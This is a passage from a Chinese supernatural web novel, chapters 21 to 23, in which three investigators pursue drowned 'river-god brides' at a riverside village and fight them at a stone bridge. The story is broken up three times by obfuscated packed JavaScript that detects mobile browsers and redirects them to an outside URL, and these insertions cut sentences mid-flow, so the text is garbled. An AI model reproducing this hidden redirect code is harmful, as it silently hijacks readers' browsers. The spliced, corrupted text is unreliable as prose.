钟遥晚的心脏几乎要撞破胸腔。他死死搂住陈文瘫软的身体,将全身力气灌注到双腿,发足狂奔。耳边是自己血液奔流的轰鸣,以及两人粗重混乱的喘息。 而最令人毛骨悚然的是,那些嫁衣女子幽幽的、带着无尽空茫的叹息声,仿佛融入了夜风本身,无视距离,始终如影随形地萦绕在耳畔,穿透血液的轰鸣,直抵灵魂深处。 两个人凭借着求生本能一路狂奔,不敢回头,不敢停歇。直到村口那盏昏黄路灯映入眼帘,清晰地勾勒出唐佐佐扶着那邋遢女人、正焦急等待的身影—— 许是知道了亲眼见识过唐佐佐强悍的实力,钟遥晚像是看到了生存的曙光一般,一直憋在胸口的那股气这才猛地一松。 他几乎是拖着僵硬的腿,踉跄着又往前冲了几步,才敢喘息着,鼓起全部勇气回头望去…… 21. 信息 应归燎撑着膝盖大口喘息,额前的碎发被冷汗浸湿在脸上:“她们……呼…没追上来……” 钟遥晚粗喘着气点了点头,他的腿伤还没有完全恢复,这会儿双腿已经抖得几乎站不稳了。 唐佐佐看着两人惊魂未定的模样挑了挑眉,在手机上打字问道:「怎么了?」 “刚刚……” 钟遥晚刚要解释,就被应归燎拦住了。 应归燎接过了话茬:“回去再说吧,这里不安全。” 邋遢女人枯瘦的手指紧紧攥着衣角,声音发颤:“你们……是来调查河神案子的吗?” 应归燎看向她:“是。” 女人咬着嘴唇犹豫片刻,最终下定决心般点点头:“先去我家吧,我可以和你们说一些我知道的事情。” “好。” 陈文依旧昏迷不醒,应归燎干脆背上她一起去了女人家里。 刚才在河上又见到了许多嫁衣女,很明显思绪体还没有被清理干净。虽然不知道她们是随机选择目标的,还是就冲着陈文来的,总之这个时间点不可能放任陈文离开他们的视野中的。 几人一行一起去了女人家中。 夜风呜咽着穿过街道,钟遥晚频频回头,总觉得暗处有红色衣角一闪而过。 “这边走。”刘芳——邋遢女人告诉他们的名字,领着几人到了家门口。 她家的屋檐上还挂着白绸子轻轻飘荡着,像一缕归不了家的游魂般哀伤。 她推开门,一股混杂着霉味和食物腐败的气味扑面而来。屋内杂乱无章,桌上堆满了沾着油渍的碗碟和发黄的报纸。 屋内唯一算得上干净的只有墙上挂着的一张照片,相片里,刘芳和一个面容憨厚的男人站在新建好的房子前,笑得灿烂。 照片中的刘芳青春靓丽,和面前这个头发蓬乱、眼窝深陷的女人判若两人。 才发生过惊心动魄的一幕,刘芳将家里的灯都大开,连厨房的壁灯都不放过。 刺眼的光线照进房间里的每个角落,才让她寻得一丝安心。 应归燎将陈文安顿在沙发上,确认无碍后,他才随众人一起围坐在油腻的餐桌旁。 应归燎看向女人:“刘姐,你对村里的事情知道多少?” “这个村里闹鬼,我试过报案,可是警察来了以后总我说是死了男人才疑神疑鬼,次数多了以后也不搭理我了。”刘芳的声音哽咽,粗糙的手指抚过照片,“我和齐语民……我们都不喜欢城市里太喧嚣的生活,就攒了一笔钱,买了临江村的房子。” “我们是一年前搬过来的。其实我们入住的这一年里,几乎每个月都会发生人员溺水的事件。但是这里毕竟是靠水吃水的村子,会发生这种事情也很正常,我们想着,只要去河边的时候小心一点就好了。” 刘芳的声音越来越轻,像是陷入了某种可怕的回忆中:“可是那天晚上的阿民,就像是刚刚的陈姑娘一样,像是被餍住了。我怎么叫他、拽他都好像听不到我的声音。” “我就只能一直跟着他,到了那座石桥边。去石桥的路不是很明显,在那以前我甚至不知道还有这么一座桥。我跟着阿民过去,然后……然后我看到了一个穿着红嫁衣的女人站在桥头。” 钟遥晚喉结滚动,声音干涩:“是刚刚……佐佐净化的那个吗?” 刘芳摇了摇头,眼眶中蓄了泪水:“不,那个嫁衣女……很高大。我当时吓傻了,没敢过去。阿民一米七七,但是那个嫁衣女比阿民还要高一点。” 应归燎和钟遥晚在闻言后快速交换了一个眼神。这个细节已经足以证明,河底沉睡的思绪体,恐怕比他们想象的还要多得多。 “当时河水像是烧开了一样,不停地冒泡。”她的眼泪突然砸在桌面上,晕开一个个小圈,“我当时吓晕了,醒来以后已经是第二天了。我本来以为是我梦游,可是回家以后发现阿民也不在家,三天后……他们,他们找到了阿民溺毙的尸体……” “他的尸体是在哪里被发现的?”应归燎问。 “是在主干道,不是石桥。” 钟遥晚:“那你今天为什么会出现在村口?” “后来我发现每个月溺死的人,基本是在十五号左右,所以一到这个时间就会去村口等着。”刘芳说,“我没救下阿民,就想救下其他人,能救一个是一个……但是所有人都像是今天的陈姑娘一样,我根本拦不住他们。” 钟遥晚心下一惊。今天若不是唐佐佐在的话,换成任何一个人在场都没办法从那个矮小的嫁衣女手中将陈文和刘芳救下来。 他们没有能够将嫁衣女直接净化的灵力,更不知道思绪体在哪里。 刘芳将所知之事和盘托出后,屋内陷入长久的沉寂。 众人默然相对,唯有窗外树影婆娑。 应归燎始终低头摆弄手机,屏幕的光映在他轮廓分明的脸颊上,平日里那副不着调的模样收了个干净,不知道在查些什么。 唐佐佐叫过他一次,手指翻飞,无声地比划了一通什么。 应归燎看完,神色未变,只是抬起食指,轻轻敲了敲自己的太阳穴。 这句钟遥晚看懂了,这是手语里的“知道了”。 之后,应归燎还是继续摆弄手机,只是不知道什么时候把那支罗盘又捏到了手里。 一直到天光乍亮,陈文才醒。 她看到自己在陌生的地方吓了一跳,似乎已经没有昨晚的记忆了,钟遥晚只说她是半夜梦游了,被刘芳正好撞上,所以就把她带到了这里。 送陈文回家的路上,晨雾还未散尽。 钟遥晚整夜未眠的疲惫像潮水般涌来,却又被某种更为锐利的清醒抵住,在太阳穴突突地跳。 回到住处时,陈暮还没有起床,他们几人把早餐做好了,吃完才回房间。 躺在床上时钟遥晚还是睡不着,于是翻身望向另一张床上的背影:“在刘芳家里,佐佐和你说了什么?” 应归燎还是一如既往地没心没肺,躺在床上就能睡着。他闻言懒洋洋地翻过身,阳光透过窗帘的缝隙,在他半张脸上投下斑驳的光影。 他闭着眼睛,声音里还带着几分挥不去的睡意:“她说了一下看到的嫁衣女的记忆,那个女人……准确来说是个小姑娘,才13岁,叫陈婉心……应该是这个名字。” “十三岁的女人?”钟遥晚一愣。 有了二丫的前车之鉴,他早就已经知道了思绪体实体化以后的样貌会和他们生前大不一样,所以看到嫁衣女的时候他也只以为那个女人是他爷爷记忆中的某个执念而已。 “对,而且是至今大约一百多年的记忆了。”应归燎缓缓睁开眼睛,“你们村子以前好像一直有献祭女子给河神的风俗。每隔几年就会献祭一个姑娘,那年选中了陈婉心。” “所以河下还有很多思绪体,都是曾经被献祭的女孩子?” “没错。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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应归燎听着他逐渐平稳的呼吸声,轻手轻脚地起身,替他把毯子盖上以后才回床上继续睡觉。 * 再醒的时候,钟遥晚是被一阵手机的提示音吵醒的。 钟遥晚在睡梦中皱起眉头。他被吵得不行,随手抄起枕头朝对床扔过去。 这一招他以前和陈祁迟住在一起的时候也经常用,都已经练出肌肉记忆了,枕头准确无误地就砸到了应归燎脑袋上。 钟遥晚的声音中还带着浓浓的睡意:“回消息。” 应归燎被砸得闷哼一声,却连眼睛都懒得睁开,反手就把枕头扔了回去:“你回。” “这特么是你的手机吧!”钟遥晚气得把脸埋进被子里。但提示音依然不依不饶地响着,在寂静的凌晨显得格外刺耳。 最终,他还是败下阵来,顶着一头乱发坐起身,活像只炸毛的猫。 他从床上爬起来去取手机,直接把应归燎的手指拉了过来解锁了屏幕。 钟遥晚对查看别人的隐私没有什么兴趣,只想关个静音继续睡觉,却在操作时又弹出了一条信息。 发信人显示“无良老爹”的内容让他的睡意瞬间消散: 「临江村的案子应该是办不成的,把佐佐留在那里,你先回来吧。」 22. 石桥 钟遥晚的指尖悬在屏幕上方,屏幕的冷光映着他紧锁的眉头。 “办不成”是什么意思? 把唐佐佐留在这里又是什么意思? 难道要像他爷爷一样,为了封印满河的思绪体一生都困在这方寸之地? 钟遥晚记忆里爷爷总爱在藤椅上晒太阳,咳嗽时背驼得像张弓,可此刻想来,那佝偻的脊梁里,或许早被岁月压进了数不清的枷锁。 应归燎察觉到异样,支起身子望向钟遥晚:“怎么了?” 钟遥晚没有回答。他的视线还黏在手机上,手指不受控制地继续上滑。 屏幕上的聊天记录如走马灯般飞速滚动,聊天记录如湍急的河水般奔涌而下,应父发来的河神调查报告里,一段文字突然刺入眼帘: 【临江村河神祭考据:自明嘉靖年间始,每年择未婚女子沉河献祭,延续四百余年……】 四百年。 至少上百个鲜活的生命,最终都化作了河底淤泥中,无人问津的森森白骨。 钟遥晚的呼吸骤然急促,他继续翻动着消息记录,密密麻麻的文字间夹杂着几张泛黄的老照片,像是被时光浸染的碎片。 忽然,一张特别标注的照片狠狠撞入他的视线——照片上,身着道袍、身姿挺拔如松的年轻人站在河边,眼神锐利如出鞘的刀锋,正透过屏幕直直望来。 那是他从未见过的,意气风发的爷爷。 “操……”他听见自己发出一声气音,轻得像是叹息。 应归燎不知何时已经站在了他身后,温热的手掌按在他肩上:“老头子的消息?” 钟遥晚僵硬地点点头,把手机递了过去。 应归燎快速阅览了一遍消息,神色亦是愈发凝重。 “别理他。”直到阅读完了全部的信息后,应归燎把手机往床上一扔,转身时脸色又恢复了如初的风轻云淡,“老头子就喜欢把简单的事情复杂化。” “往最坏的情况想的话,河底至少有上百个思绪体,这要怎么处理?”钟遥晚的声音发紧。 他和那个光怪陆离的世界的接触还不深,可是光是想想这个庞大的数字,就让他背后泛起凉意。 昨天河面上浮现的大片穿着嫁衣的新娘还有报告中冷冰冰的文字,无一不在告诉他临江村事件的棘手性。 “老头子不在这里,所以不清楚情况。”应归燎拉开窗帘,盛夏灼热的阳光瞬间涌进房间,在地板上投下明亮到几乎刺眼的光斑,“我的灵力虽然没有唐佐佐那么强,但是姑且可以感觉到,这里的思绪体不可能有这么大的数量。” 钟遥晚抬起头望向他,沉默着,眼神里是明显的怀疑与探寻。 应归燎随即换了个话题,生硬地转换了话题,语气里带着一丝不易察觉的紧绷:“我老爹发消息来的事情,你先别告诉小哑巴。” 钟遥晚不解:“为什么?” 应归燎抬手用力抓了抓自己的头发,显得十分烦躁。他张了张嘴又闭上,似是在组织语言,最后却只烦躁地“啧”了一声:“……总之先别告诉她。” * 下午,唐佐佐陪着陈暮驱车去邻近的市里采买物资,回来时,夕阳已将天边染成一片温暖的橘红。 小院里,钟遥晚和应归燎对坐在柿子树下,名义上是一同苦思冥想应对河底思绪体的对策,但这沉重的担子,眼下几乎全压在应归燎一人肩上。 钟遥晚对鬼怪之事尚在入门阶段,多数时候只能望着被晚风拂动的树影发呆,偶尔插一两句没头没脑的猜测。 晚风裹挟着田野的清香拂过小院。钟遥晚和应归燎并排坐在柿子树下的石凳上,斑驳的树影在两人身上摇摇晃晃。 钟遥晚给应归燎递过去一片西瓜。西瓜是刚从井里捞出来的,还沁着冰凉的水珠。 应归燎接过来咬了一大口,鲜红的汁水顺着手腕往下淌。 钟遥晚百无聊赖地晃着腿,看着西瓜汁滴落留下的满地红。夕阳把那些红点映得更艳了,像一地散落的朱砂。 耳畔的蝉鸣声忽近忽远,拉扯着他飘忽的思绪,渐渐融入了这片夏日傍晚的黏稠空气里。 忽然,手机震动打破了这一刻的安宁。 钟遥晚掏出手机,发现陈祁迟发来的消息,问他过两天回城里需不需要接送。 唐佐佐这会儿刚把车停稳,夕阳在她脸上落下一片光彩。钟遥晚随手拍下这一幕发送过去:「不用,有朋友在,我到时候蹭车回去。」 消息发出去后,陈祁迟那边便没了回音。钟遥晚将手机塞回口袋,思绪却无法再回到之前的放空状态。 “今晚还会发生什么事吗?”他无意识地低声喃喃。 唐佐佐正好走过来,听到了他的低语。她拿出手机,指尖在屏幕上快速敲击,然后将屏幕转向他:「会的,我在陈婉心的记忆里看到他们献祭了新娘以后才能换来安生日子,昨天陈文逃过一劫,她们不会善罢甘休的。」 钟遥晚看着唐佐佐沉静的脸,想起了应归燎父亲早上发来的信息,心情复杂,最终只是点了点头。 他忽然有些迷茫,不知道自己坚持留在村里的意义是什么。在这个危机四伏的节骨眼上,他像个彻头彻尾的拖油瓶。虽然体内蕴藏着所谓的灵力,可他既不清楚这份力量的强弱,也不知道该如何运用,连能否帮上忙都是个未知数。 他下意识地摊开自己的手掌,试图回忆触碰二丫思绪体时,那股暖流涌动的奇异感觉。可当他有意识地去追寻、去调动时,那感觉却缥缈无踪,屡试屡败。 说到底,这到底是一股什么样的力量呢? 吃过晚饭以后钟遥晚回屋睡了一会儿,他们定了半夜十一点的闹铃,等到半夜再去村口处守着,看新娘们的下一个目标是谁。 闹铃响的时候,应归燎难得没赖床。钟遥晚睁开眼的时候,发现他已经利落地翻身下床了,动作干脆得不像平时那个总要赖床的家伙。 三人悄无声息地摸黑出了门。 月光被浓云遮蔽,只余下零星几点星光,勉强勾勒出周遭物体的模糊轮廓。 今天刘芳没有来蹲守,她昨天受的伤太重了。不过,即使她来了面对超自然现象也根本没有还手之力。 唐佐佐穿着一身黑色如同融入了阴影,藏身在一处矮墙后。手机屏幕的微光映出她紧绷的下颌线,她在备忘录上快速打字:「警醒点,上次她们就是午夜出现的。」 钟遥晚蹲在一丛灌木后,指尖无意识地摩擦陈暮给他的香囊。 应归燎就待在他的边上,注意到了他的小动作以后忽然好奇道:“说起来,这个香囊里装了什么东西?” 钟遥晚全神贯注地看着村口石板路的方向,突然被应归燎的声音惊得一颤:“不知道,没有打开过,就是散着点花香。” “打开看看啊,”应归燎用胳膊肘轻轻碰了他一下,语气里带着点怂恿,“万一是你爷爷留下的什么驱邪法宝呢?” 钟遥晚想着有理,正要打开香囊的时候,眼角的余光却猛地捕捉到远处石板路上浮现的一抹刺目猩红! 距离太远,夜色太浓,他看不清来人的具体样貌。 钟遥晚紧张地喉结上下滚动,下意识地往应归燎那边又凑近了些,声音压得极低:“你想了一天,有什么应对方法了吗?” “有。”应归燎咧嘴一笑。 钟遥晚刚提起期待,紧接着就听见他说:“你和佐佐把全部的新娘都引走,我趁机下河找思绪体。” 钟遥晚:“……”好朴实无华的计划。 就在钟遥晚被他这天才计划噎得说不出话时,远处那抹不详的红色,正以一种恒定到诡异的速度,悄无声息地逼近。 月光吝啬地洒下几缕清辉,勉强勾勒出那个身影的轮廓。先是模糊的一团红影,像一滴在水中晕开的血。渐渐地,能分辨出那是个人形,穿着类似嫁衣的宽大袍子,步伐僵硬。 距离一点点缩短。 三十米,二十米…… 钟遥晚的呼吸不自觉地屏住了,全部注意力都聚焦在那逐渐清晰的身影上。他看清了那身破旧却依旧刺眼的红色嫁衣,看清了披散在肩头毫无光泽的枯发。 十米,五米…… 当那张脸终于完全暴露在稀薄的月光下时—— 钟遥晚的瞳孔骤然收缩,心脏像是被一只冰冷的巨手攥住,猛地向下一坠! 月光惨白,映照着一张他熟悉的面孔。那张脸上没有任何表情,戴着一些疲惫的苍白。 ——竟然是刘芳! 刘芳腿上被石板磨破的伤口还赫然在目,此刻行走时却不见半分迟滞与痛楚。她的双眼彻底失去了焦距,脚步虚浮得如同被无形的丝线牵引。 她还穿着昨天那身衣服,只是原本素白的颜色被染成了血一般的红色。 钟遥晚的身体下意识前倾,几乎就要冲出去。他想要去上前拦住刘芳,像是昨天一样,拦住她以后也许就可以提前净化一个思绪体。 可就在他肌肉绷紧准备行动的刹那,应归燎伸手过来,一把扣住了他的手腕。 应归燎的力道极大,带着阻止意味。可掌心传来的稳定温度,却奇异地抚平了他瞬间涌起的躁动与不安。 “别动。”应归燎的呼吸扫过他耳畔,声音压得极低,几乎融进了粘稠的夜色里,“现在出去,只会打草惊蛇。” 钟遥晚着刘芳如同一个没有重量的幽魂,朝着石桥方向缓缓“飘”去。他的瞳孔微微震荡,只能深吸一口气,强迫自己冷静下来。 三人屏息凝神,藏身于暗处。刘芳的脚底分明踩在粗粝的青石板上,却诡异地没有发出丝毫声响,寂静得令人心底发毛。 唐佐佐比划了一个手势,三人默契地借着树影掩护,悄无声息地尾随其后。 越靠近河边,空气中腐朽的水腥气就越发浓烈,混杂着某种陈年的檀香,沉甸甸地压在人的口鼻处,令人阵阵反胃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614256|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 石桥在月光下泛着惨白的光,而桥中央,早已立着一道猩红的身影。 在见到那个人时,刘芳木然的面具终于出现一丝裂痕,空洞的眸中竟闪过一丝难以名状的情绪。 桥上,两道刺目的红色身影在月光下静默地对峙着,如同两尊被遗忘的雕塑,半晌都没有任何动作。 钟遥晚蹲伏在潮湿冰冷的草垛后方,双腿因长时间维持一个姿势而麻木得失去了知觉。周遭的时间仿佛凝固了,死寂之中,只有桥下河水在夜色里发出细碎而持续的呜咽,像是无数沉溺亡魂永无休止的窃窃私语。 不对劲。 哪里不对劲。 按照刘芳的说法,此刻河面本该开始冒泡,就像是他们第一天来石桥时遇到的那样。可眼前的河面却平静得诡异,如果不是桥上站了个穿着嫁衣的人,似乎和平时也没什么两样。 就在这时! 一阵仿佛来自骨髓深处的刺痛感猛地在钟遥晚的皮肤下游走起来。 那是一种从未有过的感觉。钟遥晚下意识地攥紧了手指,他下意识地死死攥紧拳头,指节因用力而泛白,连耳廓都开始不受控制地发烫。他惊疑不定地感受身体中的力量,试图捕捉那躁动的源头。 那股力量似乎正在他身体中在他经脉间疯狂地奔腾冲撞,所过之处,带来一种近乎灼烧五脏六腑的滚烫痛楚! 他猛地抬起头,瞳孔因惊骇而收缩。 他看见了! 空气中正漂浮着无数诡异的、如同灰烬般的黑色絮状物,它们正从四面八方的黑暗中源源不断地析出,仿佛受到某种无形力量的召唤,汇成一道道无声的黑色溪流,齐刷刷地朝着石桥的方向汹涌扑去! 唐佐佐也注意到了不对劲,拧起眉毛,快速打了一串手语。 钟遥晚看不懂,只能把目光投向应归燎。 只见应归燎的神色变了变,声音都低沉了几度:“我们被发现了——直接抢人!” “啊?” 钟遥晚还没反应过来,唐佐佐已经冲出了藏身的草垛。 眨眼间,唐佐佐已经冲到了桥上。 几乎是同时,桥中央那静立的嫁衣女子仿佛被惊醒,头颅以一个极其僵硬的角度猛地转了过来!宽大的猩红袖摆无风自动,带起一阵裹挟着浓烈腐朽气息的阴风,直扑唐佐佐面门! 然而,唐佐佐的速度却更快! 她侧身如游鱼般精准地避开那足以冻结血液的阴风,右手五指并拢如刀,直取对方咽喉! 唐佐佐今天的任务是把嫁衣新娘引走,而不是净化。她的招式虽狠辣致命,却刻意收敛了灵力的波动,可即便如此,依旧将对方逼得连连后退,牢牢占据了上风。 嫁衣女子仓皇后退,周身突然腾起黑雾般的怨气,却在触及唐佐佐指尖的瞬间如遇烙铁般嘶嘶消散。 另一边,钟遥晚强忍着体内那股横冲直撞、几乎要撕裂经脉的灼痛。 他踉跄着试图站起身加入战局。可他刚稳住身形,就绝望地发现,唐佐佐与那嫁衣女子的交锋快得只剩残影,攻防转换间密不透风,他根本找不到任何插手的机会! 月光之下,只能看见一道凌厉的黑色残影与一抹诡异的猩红在不断碰撞、交错。嫁衣女子每次挥动衣袖,都卷起一阵裹挟着刺骨寒意与腥臭的黑风,而唐佐佐的每一次反击都能精准地截断对方的攻势。 两人之间迸发出的灵力震荡,连站在岸边的钟遥晚都能感觉到空气中传来的细微波动。 钟遥晚丝毫不怀疑这时候插手的话,绝对会立刻成为这两个非人存在手下的牺牲品,被那狂暴的力量撕碎。 就在这时,原本死寂的河水开始诡异地翻涌! 河面突然裂开无数细小的波纹,一个、两个、三个……密密麻麻的猩红身影,如同被河底淤泥吐出一般,从漆黑的水下缓缓浮起,无声地矗立在河面之上。 那些新娘们披散着湿漉漉的长发,脸上覆盖着各不相同的红盖头,唯一暴露在外的,是那一截截泛着青白的脖颈。 唐佐佐眼神一凛,趁着嫁衣女后退的空档一把掀掉她的红盖头。 月光下,一张因长时间河水浸泡而严重肿胀、浮囊发白的脸暴露在空气中。嫁衣女的皮肤呈现出一种近乎透明的青灰色,布满了不自然的褶皱。 最骇人的是她的嘴唇,皮肉已经腐烂脱落了大半,不受控制地咧开着,永久地暴露着两排森白冰冷的牙齿。 钟遥晚胃里一阵剧烈的翻搅。仅仅是看到这张脸,他就能想象出这个女子在生命最后时刻,在冰冷的河水中挣扎时所经历的极致痛苦与绝望。 唐佐佐一击得手并不恋战,在其他新娘扑上来前利落地脱离了战场,一把拽住钟遥晚的衣领沿着河岸飞奔。 钟遥晚被她拽得一个趔趄,喉咙狠狠撞在衣领上,被拽得差点背过气去。 …… 你们灵感事务所的人怎么都喜欢拽人衣领子逃跑?! 23. 分头行动 唐佐佐拽着钟遥晚的衣领,沿着河岸一路狂奔。 夜风如刀,刮得脸颊生疼,钟遥晚从耳膜被呼啸的风声灌满,却仍然能分辨出身后“哗啦哗啦”的异动。 那声音黏腻悠长,像是浸泡得发胀的尸体正从河底爬出。 湿透的嫁衣下摆拖曳过岸边的碎石与枯草,发出持续的摩擦声。然而,那吸饱了河水的沉重布料,却丝毫没有拖慢她们的速度。每一次声响的逼近,都如同催命的符咒一般死死咬在身后。 钟遥晚根本不敢回头,只能咬紧牙关,任由唐佐佐拽着自己往前冲。 腐朽的气息如影随形。那不是单纯的尸臭,而是混杂着河水腥膻的百年怨气。 突然! 衣领上的力道毫无预兆地一松! 钟遥晚顿时失去平衡,身体不受控制地向前踉跄扑去,险些栽倒在地。 唐佐佐没空打字,于是只是仓促地给钟遥晚比划了几个手势。随后,她猛地推了钟遥晚一把,自己则挑衅一般地扬起手中的红盖头,折身冲向另一边。 钟遥晚明白过来她的意思,这是要分头跑。 求生本能让钟遥晚爆发出惊人的速度,他的双腿疯狂摆动,不敢有丝毫停歇。跑出数十米后,他敏锐地察觉到,身后那原本铺天盖地的阴冷压迫感,果然减轻了大半。 他在狂奔中仓促回首,只见猩红的嫁衣如潮水般涌向唐佐佐的方向,唯独一道异常魁梧的身影仍死死咬在自己身后。 这个新娘与其他的截然不同。宽大的骨架将嫁衣撑得紧绷,完全不似其他新娘那般纤细柔弱。即使钟遥晚此刻已经远离河岸百米有余,那黏腻的水声依然紧跟其后,仿佛她体内藏着一条永不干涸的暗河。 钟遥晚一头扎进路旁茂密的树林,企图借助复杂的地形摆脱嫁衣女。 然而,就在他钻入林荫的瞬间,那股腐烂的腥气非但没有被树木过滤,反而骤然浓烈了数倍,几乎凝成实质! 他能感觉身后的脚步声却越来越近,越来越清晰,伴随着那令人头皮发麻的黏稠水声,那股混合着河泥与腐肉的恶臭,几乎已经贴上了他的后颈皮肤! 粗壮的树干间,嫁衣女的身影以不可思议的敏捷穿梭着,所过之处树皮剥落,还留下一道道湿漉漉的抓痕。 钟遥晚回头确认身距的瞬间,嫁衣女已经逼近到面前。他被这突如其来的贴近吓得心脏骤停,脚下猛地一绊,后背重重撞上一棵粗壮的树干,粗糙的树皮硌得他脊骨生疼。 嫁衣女庞大的阴影如同山岳般笼罩下来,一只泛着青白色死气的巨掌也在同时直取他的咽喉! 钟遥晚完全是凭借求生本能抬起双臂格挡,却在接触的瞬间,被一股排山倒海般的力量震得双臂骨骼欲裂,酸麻感瞬间窜遍上半身。 这力道根本不是人类能拥有的! 那只手如同铁钳般死死扣住了他的脖颈。寒气瞬间穿透皮肤,直渗骨髓! “呃啊……” 钟遥晚的呼吸被生生掐断,气管遭受着恐怖的挤压。眼前猛地炸开一片混乱而刺目的金星,视野开始急速变暗。 缺氧的灼痛感从肺部疯狂炸开,如同岩浆般顺着神经蔓延至四肢百骸。钟遥晚发狠地抬脚猛踹向对方的膝盖关节,却像是踹在了一堵浇筑而成的石墙上,反震的力道让他自己的脚踝一阵剧痛。 就在他意识涣散的瞬间—— 噗嗤!! 嫁衣女尖锐乌黑的指甲猛地发力。 然而,却在刺破皮肉之前,先刺破了一层无形的屏障! 钟遥人周身突然泛起一层荧绿色的微光,如薄纱般在夜色中闪烁了一下。 是应归燎覆盖在他身上的灵力层破了! 嫁衣女原本凶悍的动作出现了微妙的迟疑。 钟遥晚抓住这转瞬即逝的生机,猛然抬手,在混乱的撕扯中,凭着感觉胡乱向对方头顶抓去!他死死攥住那顶猩红的盖头,用尽全身残余的力气,狠狠向下一扯—— 嘶啦——! 布料撕裂的声响后,一张狰狞的男性面孔暴露在月光下!他浮肿发青的脸皮上布满蛛网般的血管,暴突的眼球布满血丝,最骇人的是脖颈处那道深可见骨的勒痕。 “钟、钟离!” 嫁衣女……不,应该说是嫁衣男竟然开口说话了!他腐烂的嘴唇颤抖着,那张可怖的面孔上竟浮现出畏惧的神色,掐住钟遥晚的力道也为之一松。 钟遥晚趁机挣脱,踉跄着后退几步,大口喘息。他的耳朵发烫,冰凉的空气带着湿意灌入灼痛的肺部,带来一阵剧烈的咳嗽。 这诡异的僵持仅持续了一瞬。 下一秒,嫁衣男脸上的畏惧如同潮水般退去,被一种更加疯狂的怨毒彻底取代! 他浑浊的眼球死死盯住钟遥晚,仿佛要将他生吞活剥,嘶吼道:“钟离!……钟离!去死吧!!” 股股的黑烟在嫁衣男身上蒸腾而起。 钟遥晚还未来得及站稳,那只巨掌已经掀起风啸,再度袭至他面前! 就在这千钧一发之际—— 他体内那股奇异的力量以前所未有的态势轰然爆发!那力量如同被压抑已久的火山终于喷发,炽热如岩浆的洪流在他经脉中疯狂冲撞。 方才的窒息感尚未完全消退,此刻他只觉得自己的五脏六腑都要被这内部奔突的狂野力量与外部压迫的死亡寒意彻底撕碎。 就在嫁衣男触到钟遥晚的一刹那,一阵纯净而炽烈的荧白色光芒忽然从钟遥晚身上爆发出来! 那光芒耀眼无比,如同在地底奔涌了千年的生命之泉骤然破土,又似初升的朝阳以其无可阻挡之势,悍然刺破这沉沉的死亡黑夜! 嫁衣男的身躯开始剧烈抽搐。他浮肿的面皮在荧绿光芒照射下迅速溃烂,腐肉如同油蜡般簌簌剥落。 “啊啊啊——!!!” 凄厉的嚎叫声不似人声,嫁衣男的嘴巴撕裂到耳根,腐烂的舌头在口腔中疯狂摆动。他浮肿的面皮在光芒的照射下,如同被投入烈火的蜡像,迅速起泡、溃烂、融化,腐肉混合着黑血簌簌剥落,露出底下更显狰狞的骨骼。 “不要……不要、杀我……” 在身躯即将彻底消散的最后一刻,那疯狂的嚎叫却陡然变调,化作一声微弱的求救声。 那张支离破碎的脸上,竟浮现出一丝人性化的痛苦。 一切发生得太快太突然了,钟遥晚甚至还没有反应过来,,嫁衣男庞大的身躯便如同被狂风席卷的沙堡,轰然崩塌,化作一滩散发着恶臭的黑水,最终在荧光中蒸发殆尽。 钟遥晚的视野骤然开始天旋地转,方才那石破天惊的灵力爆发,此刻如同退潮般从他体内急速流失,随之被抽走的,还有他全身的力气。 他下意识地想用手扶住身旁粗糙的树干支撑身体,指尖触及树皮,却传来一片诡异的麻木,仿佛那根本不是他自己的手。 他的感官正在变得迟钝。 “奇怪……”他听到自己发出一声呢喃。 旋即,一阵强烈的眩晕袭来,他的双膝不受控制地一软,重重跪倒在铺满潮湿腐叶的地面上,激溅起一片沉寂的尘土。 在意识彻底熄灭的最后一刻,钟遥晚涣散模糊的视线,艰难地捕捉到了一丝异样。 他的口袋正在发出微弱的荧光。 那里……好像是放香囊的地方? * 应归燎早已在唐佐佐引起的骚动中藏身进了河边的芦苇荡,静待时机。 透过芦苇摇曳的间隙,他看着一道道鲜红的身影掠过河面,朝着唐佐佐和钟遥晚逃离的方向追过去。 “一、二、三……” 他心中默数着,眉头越皱越紧。当二十七道红影消失在夜色中时,一种诡异的不安感也愈发浓重。 这数字不对。 按照唐佐佐从陈婉心记忆中读取到的信息,临江村这持续了数百年的献祭传统,累积下来的新娘数量,绝不可能只有这区区二十七个。 他原本已经做好了打长期战役的准备,可是如果河底下只有二十七个怨灵的话,那么他大可以放手一搏,将她们全都净化了。 直到河面终于恢复平静,连最后一丝涟漪也消失得无影无踪,应归燎才谨慎地从藏身处探出脑袋。 刘芳还站在石桥上,一身红衣似血一般刺眼。 然而,就在最后一道嫁衣身影消失在树林方向的刹那,桥上的刘芳,突然像是被瞬间抽走了所有支撑的提线木偶,毫无征兆地瘫软倒地。 应归燎立刻上了石桥,靴底踏在潮湿的桥面上发出沉闷的声响。 时间分秒必争。尽管新娘的数量存在蹊跷,但那二十七个怨灵也足够将负责引开的唐佐佐和钟遥晚撕成碎片。他必须尽快行动。 他蹲下身,用力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614257|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推了推刘芳的肩膀:“醒醒!” “唔……” 